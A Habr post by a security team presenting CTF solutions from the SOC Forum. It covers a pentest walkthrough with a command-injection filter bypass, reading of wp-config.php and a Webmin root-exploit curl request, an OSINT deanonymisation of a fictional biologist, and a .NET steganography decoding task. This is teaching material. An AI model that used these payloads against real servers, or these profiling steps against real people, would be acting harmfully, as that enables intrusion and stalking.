Привет, Хабр. На прошедшем в ноябре SOС-форуме мы предлагали желающим решить несколько ИБ-задачек: по пентесту, OSINT и digital forensic. Оказалось, квестом заинтересовались многие: участие приняли более 500 человек. А после форума нас стали просить прислать задания и решения к ним. Поэтому мы решили опубликовать весь квест на Хабре. Может, и вы, уважаемые читатели, заинтересуетесь. Ради спортивного интереса все решения спрятали под спойлерами.  Условие: Вася решил развернуть личный блог  и скрыть его от доступа извне. Сервер, на котором развернут блог, находится в интернете. Вася что-то слышал о страшных хакерах, но не разбирается в кибербезопасности. Прочитав несколько статей на Хабре о том, как правильно защитить свои блоги, он решил обратиться за пентестом к вам. Сможете провести тестирование на проникновение и доказать Васе, что ему нужна качественная киберзащита? Задание: получите root-доступ к серверу и соберите все 4 флага. Инфраструктуру для исследования можно скачать здесь.  Флаги: 1)    DNS AXFR 2)    Www user (command injection + sanitization bypass) 3)    Limited user (lolkek) 4)    Root user (webmin) Начинаем со сканирования сервисов Видим порт 80. Неплохо, что-то связанное с веб… проверим. Внезапно, он редиректит на внутренний домен blog.students.local: Добавив внутренний домен в hosts с адресом сервера, видим блог WordPress Это уже лучше. Уязвимостей, правда, нет, но есть упоминание DNS-сервера BIND. Ну... давайте поработаем с DNS. Выполняем AXFR запрос для students.local, и тут мы видим первый флаг: FLAG1_N0_Way_It_wA$_dNS Причем мы видим какой-то сервис whois-dev.students.local. А что, если перейти на него? Путем нехитрых экспериментов, понимаем, что сервер подвержен Command Injection: можно обойти фильтрацию пробелов и символов><;’ – и получить флаг: FLAG2_Sh3LL_I$_B0rn_Aga1n ya.ru&&cat${IFS}../FLAG3.txt Аналогично читаем файл конфигурации базы данных и получаем учетку базы данных: ||cat${IFS}../blog/wp-config.php:  Видим, что пользователь БД lolkek также присутствует в /etc/passwd. Авторизуемся с ним в ssh, в его домашней папке находим флаг {FLAG3_I_L0V3_TO_REu$E_PA$$W0RDS} В списке процессов и в файловой системе видим webmin уязвимой версии (/usr/share/webmin/version), доступный на localhost:10000. Выполняем запрос для повышения до root, получаем флаг FLAG4_Wh0_Let_tHe_dOG_0Ut:curl -ks 'https://localhost:10000/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=cat /root/FLAG.txt&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H 'Referer: https://localhost:10000/session_login.cgi'  Герой задачи – биолог по имени M. Mainz (Сразу говорим: персонаж вымышленный, а все профили под него созданы специально. В разработке этого задания нам помогал наш друг @dukera (ТГ). Он же создал все профили для M. Mainz).  Надо получить следующие данные о герое:  Имя и фамилию  Возраст  Место жительства (страна, город)  Место работы и должность  Цвет глаз По какой стране он недавно путешествовал Если предположить, что Mainz – фамилия, а M – имя, то ник может быть: mmainz, mainzm, m.mainz, m_mainz, m-mainz и подобные. Для проверки таких гипотез существуют различные инструменты. Например, Maigret (https://github.com/soxoj/maigret) или бесплатный ТГ-бот @maigret_osint_bot. Прогоняем через него всевозможные вариации, проверяя выдачи: Бот выдает отчет в HTML и json, поэтому можно автоматизировать анализ результатов. Привлекает внимание ссылка на iNaturalist. Единственная учетная запись, которая в явном виде зарегистрирована на биологических форумах или соцсетях  – это mainzm: Мы знаем, что наш парень – биолог. Ну, так версия же? Давайте отрабатывать. Итак, из этих данных мы поняли, что: Имя у него – Mario Должность – профессор (prof) Ученая степень – доктор (Dr) Вконтактик!!! https://vk.com/97mario79 (кстати, поскольку решаем классическую CTF задачку – это признак того, что мы на верном пути. Много ли Марио Майнцов зарегистрировано в российской соцсети?) Изучаем Вконтакте: Видим ник, часть номера телефона и открытые фото. Неплохо. Одна проблема: кроме фото там ничего больше нет. А нам бы хоть электронную почту найти. Вернемся назад и еще раз изучим отчет Maigret.  Там есть ссылка на https://githubplus.com/mainzm, с которой можем найти аккаунт github: C него получаем репозитории Github, просто подставляя github.com: https://github.com/mainzm и видим парочку репозиториев: Проверяем репозитории, поскольку иногда авторы оставляют в коде какие-то данные, по которым их можно идентифицировать. И что же мы видим в my.first.repo:  "I'm a biologist!”. Внезапно… но человек несуществующий и это, в целом, CTF’ная задачка, поэтому такой флаг – еще один признак того, что мы на верном пути. В реальной жизни авторы могут оставить и данные похлеще (ссылки на профили соцсетей, телефоны и тому подобные вещи). Во втором репозитории ничего интересного не обнаружилось. Окей. Что еще можем вытащить из репозитория? Что нужно для входа на гитхаб? Конечно, электронная почта. И, разумеется, для извлечения есть инструменты. Например, GitColombo: https://github.com/soxoj/gitcolombo. Устанавливаем в venv, запускаем: python gitcolombo.py -u  https://github.com/mainzm/my.first.repo И что видим? Есть электронная почта mario.mainz.de@gmail.com! Итак, имеем сейчас на руках: Кусок номера телефона: +7(922)182-*6-** Почту mario.mainz.de@gmail.com Давайте проверим, где у нас зарегистрирована эта почта и с какими данными. Есть замечательный инструмент Holehe, который позволяет быстро проверить регистрацию почт на разных ресурсах: https://github.com/megadose/holehe. А можно найти бот, например, @holehe_s_bot, но на ряде ресурсов он заблокирован, поэтому может не выдать правильные ответы. Устанавливаем, запускаем:               Видим, что есть конец телефонного номера: 77. Но не видим никаких популярных соцсетей. Нет также цвета глаз, возраста, места жительства, места работы и путешествий. Возможно, помогут соцсети. Раз инструменты ничего не выдали, можно попробовать поискать вручную, например, Facebook: Тут вариантов нет: надо только прокликивать профили. Но нам везет, и первый же профиль наш (мы сейчас не берем в расчет, что информацию можно получить быстрее, пользуясь различными платными ресурсами, которые по email могут сопоставить профиль): Электронная почта совпадает с тем, что мы нашли раньше, а, значит, мы на верном пути. Дата рождения – 24 апреля 1979 г. И тут нам везет: в профиле есть альбомы «Just walking from work» и «Trip».  Смотрим «just walking from work»: самый простой вариант – покидать в Google фото с более-менее историческим зданием. Может, его уже где-то отметили и не надо проводить много работ по гео-OSINT. Не найдя ничего похожего в Facebook, вернемся в VK: По Google Lens – это здание рядом с парком Сансуси в Потсдаме (Германия). Ну а само здание определяется как Университет Потсдама. Прочие фото указывают на расположение объектов в Потсдаме, но значительной ценности не несут. Сопоставляя с тем, что Марио – профессор, биолог и доктор, можно предположить, что он работает в университете Потсдама и живет в этом же городе. Хорошо, но куда он ездил? Посмотрим альбом "Trip" в Facebook. Просто внимательно посмотрим на фото: Turk Telecom на рекламной вывеске одного из фото говорит само за себя. Это Турция. Но давайте проверим: одно из фото – явно тоже какое-то приметное историческое здание: Тот же Google Lens подсказывает, что это вокзал Сиркеджи в Стамбуле: Ну а вот и фото с вывеской:               Что нам осталось в итоге? Найти цвет глаз. Как назло, фото этого человека нигде нет. Но у нас есть кусок телефонного номера. Обратившись назад к Вконтакте и Holehe - мы получаем телефонный номер: +7(922)182-*6-77. Надо перебрать всего 10 вариантов. Но где? Очевидно, что в популярных мессенджерах, например, Телеграм. Многие ставят в качестве аватарок свое фото, почему бы не попробовать?  По итогу перебора, находим человека с ником @m41nzm, именем Mario и телефоном +79221829677 (номер заблочен, звонить / писать смысла нет).               На увеличении видно, что глаза – зеленые. Ну и бонусом мы определили номер телефона. Отсюда ответы квеста: Имя – Mario Mainz Дата рождения – 24 апреля 1979 (43 года) Глаза – зеленые Живет – в Потсдаме  Биолог, профессор, ученая степень доктора – и просто хороший несуществующий человек Недавно ездил в Стамбул, Турция   Задача разработана командой нашего центра Solar JSOC CERT. Условие: В компанию N прислали бинарный файл .net (название файла — ImageViewer.exe). Известно, что в нем содержится изображение и скрипт, с помощью которого изображение было помещено в файл. Задание: 1. Сохраните файл ImageViewer.exe. Файл не содержит ВПО 2. Вытащите из файла картинку и скрипт 3. Измените скрипт таким образом, чтобы можно было расшифровать картинку 4. Примените измененный скрип на картинку 5. Получите в результате расшифровки корректный ответ Для начала необходимо определить тип исполняемого файла, на каком языке программирования он был написан, как скомпилирован. Для этого воспользуемся утилитой Detect It Easy (DIE, https://github.com/horsicq/Detect-It-Easy) или pestudio (https://www.winitor.com/). DIE обнаружила сигнатуры .NET в исследуемом исполняемом файле: Те же самые результаты выдаст программа pestudio, или можно проанализировать импорты и строки исполняемого файла. Проанализируем строки исполняемого файла. Сделать это можно с использованием утилиты pestudio, с помощью bstrings, strings, IDA или любым другим удобным способом. Строки, найденные pestudio, подтверждают, что данный исполняемый файл написан на .NET, также замечаем подозрительную строчку длиной 3497 байт, предположительно закодированную в Base64.  Так как файл написан на .NET, для понимания его функционала воспользуемся соответствующим декомпилятором, например, dnSpy (ILspy, dotPeek). Загрузим файл в Assembly Explorer (File -> Open) или перетаскиванием на dnSpy.exe (https://github.com/dnSpy/dnSpy). Для начала просмотра кода перейдем к точке входа исполняемого файла (entry point) с помощью ПКМ -> «Go to Entry Point» на сборке «ImageViewer» в Assembly Explorer. Проанализируем код класса Program: Из листинга программы определим функционал и алгоритм работы функции Main исполняемого файла: 1.     Получение случайного имени и пути для временного файла; 2.     Замена расширения имени случайного файла .tmp на .png в переменной text; 3.     Сохранение некоторого ресурса исполняемого файла «SOC_forum» в виде файла по сгенерированному пути; 4.     Создание дочернего процесса для запуска этого файла или стандартного обработчика для данного типа файлов; 5.     Ожидание 1,5 секунды; 6.     Проверка файла на существование; 7.     Удаление этого файла, если он существует. Также можно заметить в этом классе еще одну функцию GetScript, которая конвертирует из Base64 данные, сохраненные в ресурсе PE «Data», что намекает на то, что строка, которую мы видели в начале, действительно закодирована в Base64. Перейдем к вкладке ресурсов в dnSpy для определения «SOC_forum» и «Data»: Ресурс «SOC_forum» - изображение, которое сохраняется в %Temp% со случайным именем файла (*.png):  Ресурс «Data» является строкой в Base64: Декодируем строку любым удобным способом и получаем скрипт на языке Python: import math import random from PIL import Image   def key_scheduling(key)     sched = [i for i in range(0, 256)]     i = 0     for j in range(0, 256)         i = (i + sched[j] + key[j % len(key)]) % 256         tmp = sched[j]         sched[j] = sched[i]         sched[i] = tmp     return sched   def stream_generation(sched)     stream = []     i = 0     j = 0     while True         i = (1 + i) % 256         j = (sched[i] + j) % 256         tmp = sched[j]                 sched[j] = sched[i]         sched[i] = tmp         yield sched[(sched[i] + sched[j]) % 256]   def encrypt(s, key)     key = [ord(char) for char in key]     sched = key_scheduling(key)     key_stream = stream_generation(sched)     ciphertext = bytearray()     if isinstance(s, str)         bytear = bytearray()         bytear.extend(map(ord, s))     else         bytear = s     for b in bytear         enc = b ^ next(key_stream)         ciphertext.append(enc)     return ciphertext   def decrypt(ciphertext, key)     key = [ord(char) for char in key]     sched = key_scheduling(key)     key_stream = stream_generation(sched)     plaintext = bytearray()     for char in ciphertext         dec = int(char ^ next(key_stream))         plaintext.append(dec)     return plaintext   def embed_data(filename, emb_data, key)     image = Image.open(filename)     im_size = image.width  image.height     emb_len = len(emb_data)     if im_size = (emb_len + 1) / 8         data = get_rand_bytes(key, math.floor(im_size / 8))         data[0] = emb_len         step = math.floor((len(data) – 1)  emb_len)         for i in range(emb_len)             pos = int(i  step) + 1             data[pos] = ord(emb_data[i])         binary_enc_data = ‘’.join(byte2bin(b) for b in encrypt(data, key))         for h in range(image.height)             for w in range(image.width)                 pixel = image.getpixel((w, h))                 image.putpixel((w, h), (bin2byte(byte2bin(pixel[0])[-1] + binary_enc_data[h  image.width + w]),                                         pixel[1]))         image.save(emb + filename, format=png)         return data   def get_rand_bytes(sed, size)     random.seed(sed)     t = bytearray(random.getrandbits(8) for i in range(size))     return t   def byte2bin(b)     binary_string = {08b}.format(b)     return binary_string   def bin2byte(bn)     bt = int(bn, 2)     return bt   if __name__ == ‘__main__’     flag = input(Enter flag )     embed_data(SOC_forum.PNG, flag, SOLAR_SECURITY)     print(Done!)   Скрипт считывает введенный пользователем флаг и встраивает его в изображение «SOC_forum.PNG» с ключом «SOLAR_SECURITY». Алгоритм встраивания: 1.Генерация массива случайных байт с seed равным ключу и размером равным округленному до наименьшего целого значению количества пикселей изображения, поделенным на 8. 2.Запись в этот массив на нулевую позицию длины встраиваемого сообщения и равномерное распределение сообщения по массиву с определенным шагом. 3.Шифрование полученного массива алгоритмом RC4 с ключом «SOLAR_SECURITY». 4.Встраивание информации в изображение с помощью стеганографического алгоритма «Встраивание информации в наименьший значимый бит» (LSB). Таким образом, у нас в наличии есть изображение и скрипт для встраивания флага в изображение. Разобравшись в алгоритме, необходимо переписать скрипт так, чтобы он извлекал информацию из изображения, а не встраивал. Реализации могут быть различные, вот одна из них: import math import random from PIL import Image   def key_scheduling(key):     sched = [i for i in range(0, 256)]     i = 0     for j in range(0, 256):         i = (i + sched[j] + key[j % len(key)]) % 256         tmp = sched[j]         sched[j] = sched[i]         sched[i] = tmp     return sched   def stream_generation(sched):     stream = []     i = 0     j = 0     while True:         i = (1 + i) % 256         j = (sched[i] + j) % 256         tmp = sched[j]         sched[j] = sched[i]         sched[i] = tmp         yield sched[(sched[i] + sched[j]) % 256]   def encrypt(s, key):     key = [ord(char) for char in key]   sched = key_scheduling(key)   key_stream = stream_generation(sched)   ciphertext = bytearray()   if isinstance(s, str):         bytear = bytearray()         bytear.extend(map(ord, s))     else:         bytear = s     for b in bytear:         enc = b ^ next(key_stream)         ciphertext.append(enc)     return ciphertext   def decrypt(ciphertext, key):   key = [ord(char) for char in key]     sched = key_scheduling(key)   key_stream = stream_generation(sched)   plaintext = bytearray()   for char in ciphertext:         dec = int(char ^ next(key_stream))         plaintext.append(dec)     return plaintext   def embed_data(filename, emb_data, key):     image = Image.open(filename)     im_size = image.width * image.height     emb_len = len(emb_data)     if im_size >= emb_len * 8:         data = get_rand_bytes(key, math.floor(im_size/8))         step = (len(data) - emb_len) / emb_len         for i in range(emb_len):             pos = int(i*step)             data[pos] = ord(emb_data[i])         binary_enc_data = ''.join(byte2bin(b) for b in encrypt(data, key))         for w in range(image.width):             for h in range(image.height):                 pixel = image.getpixel((w, h))                 image.putpixel((w, h), (bin2byte(byte2bin(pixel[0])[:-1] + binary_enc_data[h*image.width + w]),                                         *pixel[1:]))         image.save("emb" + filename, format="png")         return data   def decode_data(filename, key):     image = Image.open(filename)   im_size = image.width * image.height   binary_enc_data = ''   for h in range(image.height):   for w in range(image.width):         pixel = image.getpixel((w, h))         binary_enc_data += byte2bin(pixel[0])[-1:]     enc_data = bytearray(math.floor(im_size/8))   for i in range(len(enc_data)):         enc_data[i] = bin2byte(binary_enc_data[i*8:(i+1)*8])    dec_data = decrypt(enc_data, key)    emb_len = dec_data[0]    dec_text = ''     step = math.floor((len(dec_data) - 1) / emb_len)     for i in range(emb_len):         pos = int(i * step) + 1         dec_text += chr(dec_data[pos])     return dec_text   def get_rand_bytes(sed, size):     random.seed(sed)     t = bytearray(random.getrandbits(8) for i in range(size))     return t   def byte2bin(b):     binary_string = "{:08b}".format(b)     return binary_string   def bin2byte(bn):     bt = int(bn, 2)     return bt   if __name__ == '__main__':     dec_data = decode_data("SOC_forum.PNG", "SOLAR_SECURITY")     print("Flag: ", dec_data) Запустив его, получим следующий вывод: Строка «JSOC_CERT» и является флагом, который необходимо было извлечь из файла, задание успешно выполнено. Ну, что? Кто сколько задач решил - делитесь в комментариях!